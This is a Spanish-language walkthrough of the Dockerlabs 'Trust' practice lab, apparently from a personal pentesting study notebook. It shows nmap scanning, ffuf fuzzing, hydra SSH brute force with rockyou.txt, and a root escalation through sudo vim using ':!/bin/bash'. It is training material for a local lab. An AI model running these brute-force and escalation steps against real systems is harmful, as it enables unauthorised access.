stamin4
  • whoami
  • HTB Academy
    • Introduction to Academy
    • Learning Process
    • Vulnerability Assessment
    • Web Requests
    • Introduction to Networking
    • Linux Fundamentals
    • Brief Intro to Hardware Attacks
    • Setting Up
    • Using the Metasploit Framework
    • Security Incident Reporting
    • Introduction to Web Applications
    • JavaScript Deobfuscation
    • Attacking Web Applications with Ffuf
    • Windows Fundamentals
    • File Inclusion
  • HTB Machines
    • Windows
      • 🟢Easy
      • 🟠Medium
      • 🔴Difficult
      • 🟣Insane
    • Linux
      • 🟢Easy
        • Cap
      • 🟠Medium
      • 🔴Difficult
      • 🟣Insane
  • OverTheWire
    • Bandit
      • Nivel 0
      • Nivel 1
      • Nivel 2
      • Nivel 3
      • Nivel 4
      • Nivel 5
      • Nivel 6
      • Nivel 7
      • Nivel 8
      • Nivel 9
      • Nivel 10
  • Base de datos
    • SQL
      • SELECT queries 101
      • Queries with constraints (Pt. 1)
      • Queries with constraints (Pt. 2)
      • Filtering and sorting Query results
      • Simple SELECT Queries
      • Multi-table queries with JOINs
      • OUTER JOINs
      • A short note on NULLs
      • Queries with expressions
      • Queries with aggregates (Pt. 1)
      • Queries with aggregates (Pt. 2)
      • Order of execution of a Query
      • Inserting rows
      • Updating rows
      • Deleting rows
      • Creating tables
      • Altering tables
      • Dropping tables
  • PortSwigger
    • Path Traversal
  • Dockerlabs
    • Trust
    • Firsthacking
    • Upload
Powered by GitBook
On this page
  • Despliegue del Lab
  • Reconocimiento
  • Intrusión
  • Escalada de privilegios
  1. Dockerlabs

Trust

PreviousDockerlabsNextFirsthacking

Last updated 12 months ago

Despliegue del Lab

Descargamos la máquina desde la web de .

Descomprimimos el archivo .zip.

unzip trust.zip

Para levantar la máquina, ejecutamos el siguiente comando.

sudo bash auto_deploy.sh trust.tar

Reconocimiento

Le lanzamos un ping a la máquina para comprobar que tenemos conectividad con ella y también para detectar el sistema operativo. En este caso, como el TTL (Time To Live) es 64, se trata de una máquina Linux.

$ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.142 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.142/0.142/0.142/0.000 ms

Nuestro objetivo es descubrir qué puertos están abiertos, ya que a través de esos puertos corren servicios que pueden tener vulnerabilidades que nos permitan comprometer el sistema. Entonces, para ver qué servicios están corriendo, lanzamos un escaneo de puertos con nmap.

$sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 15:29 -03
Initiating ARP Ping Scan at 15:29
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 15:29, 0.12s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:29
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 22/tcp on 172.17.0.2
Completed SYN Stealth Scan at 15:29, 2.64s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000026s latency).
Scanned at 2024-05-19 15:29:21 -03 for 3s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.22 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Están abiertos los puertos 22 y 80. Para obtener más información, lanzamos un escaneo exhaustivo.

$nmap -p22,80 -sCV 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 15:30 -03
Nmap scan report for 172.17.0.2
Host is up (0.00083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 19:a1:1a:42:fa:3a:9d:9a:0f:ea:91:7f:7e:db:a3:c7 (ECDSA)
|_  256 a6:fd:cf:45:a6:95:05:2c:58:10:73:8d:39:57:2b:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds

Por el momento, no podemos hacer nada con SSH porque no contamos con ninguna credencial.

En cuanto al puerto 80, hay un servicio http que tiene la página por defecto después de la instalación de Apache.

Fuzzeamos para intentar encontrar rutas, pero no hay ningún resultado.

$ffuf -u http://172.17.0.2/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -ic -t 200

Ahora fuzzeamos por archivos con extensiones comunes como php, txt y html.

$ffuf -u http://172.17.0.2/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -e php,txt,html -ic -t 200 

Encontramos un archivo secret.php.

Si lo vemos desde el navegador, nos encontramos con el siguiente mensaje, el cual contiene una pista: un potencial nombre de usuario válido.


Intrusión

Utilizamos hydra para realizar un ataque de fuerza bruta por ssh para el usuario mario.

hydra -l mario -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh

Con las credenciales encontradas, nos conectamos por ssh a la máquina como el usuario mario.


Escalada de privilegios

Buscamos por privilegios a nivel de sudoers con el siguiente comando, que nos solicita la contraseña de mario.

sudo -l

mario puede ejecutar como cualquier usuario (incluyendo a root) el editor de texto vim.

Para ello, primero lanzamos vim como el usuario root:

sudo /usr/bin/vim

Luego inyectamos este comando :!/bin/bash, que nos va a otorgar una consola como el usuario que está corriendo vim, es decir, root.

De esta manera, escalamos privilegios en la máquina y la concluimos.

Existe una forma de abusar de este privilegio para convertirnos en root que se encuentra documentada en .

GTFOBins
dockerlabs.es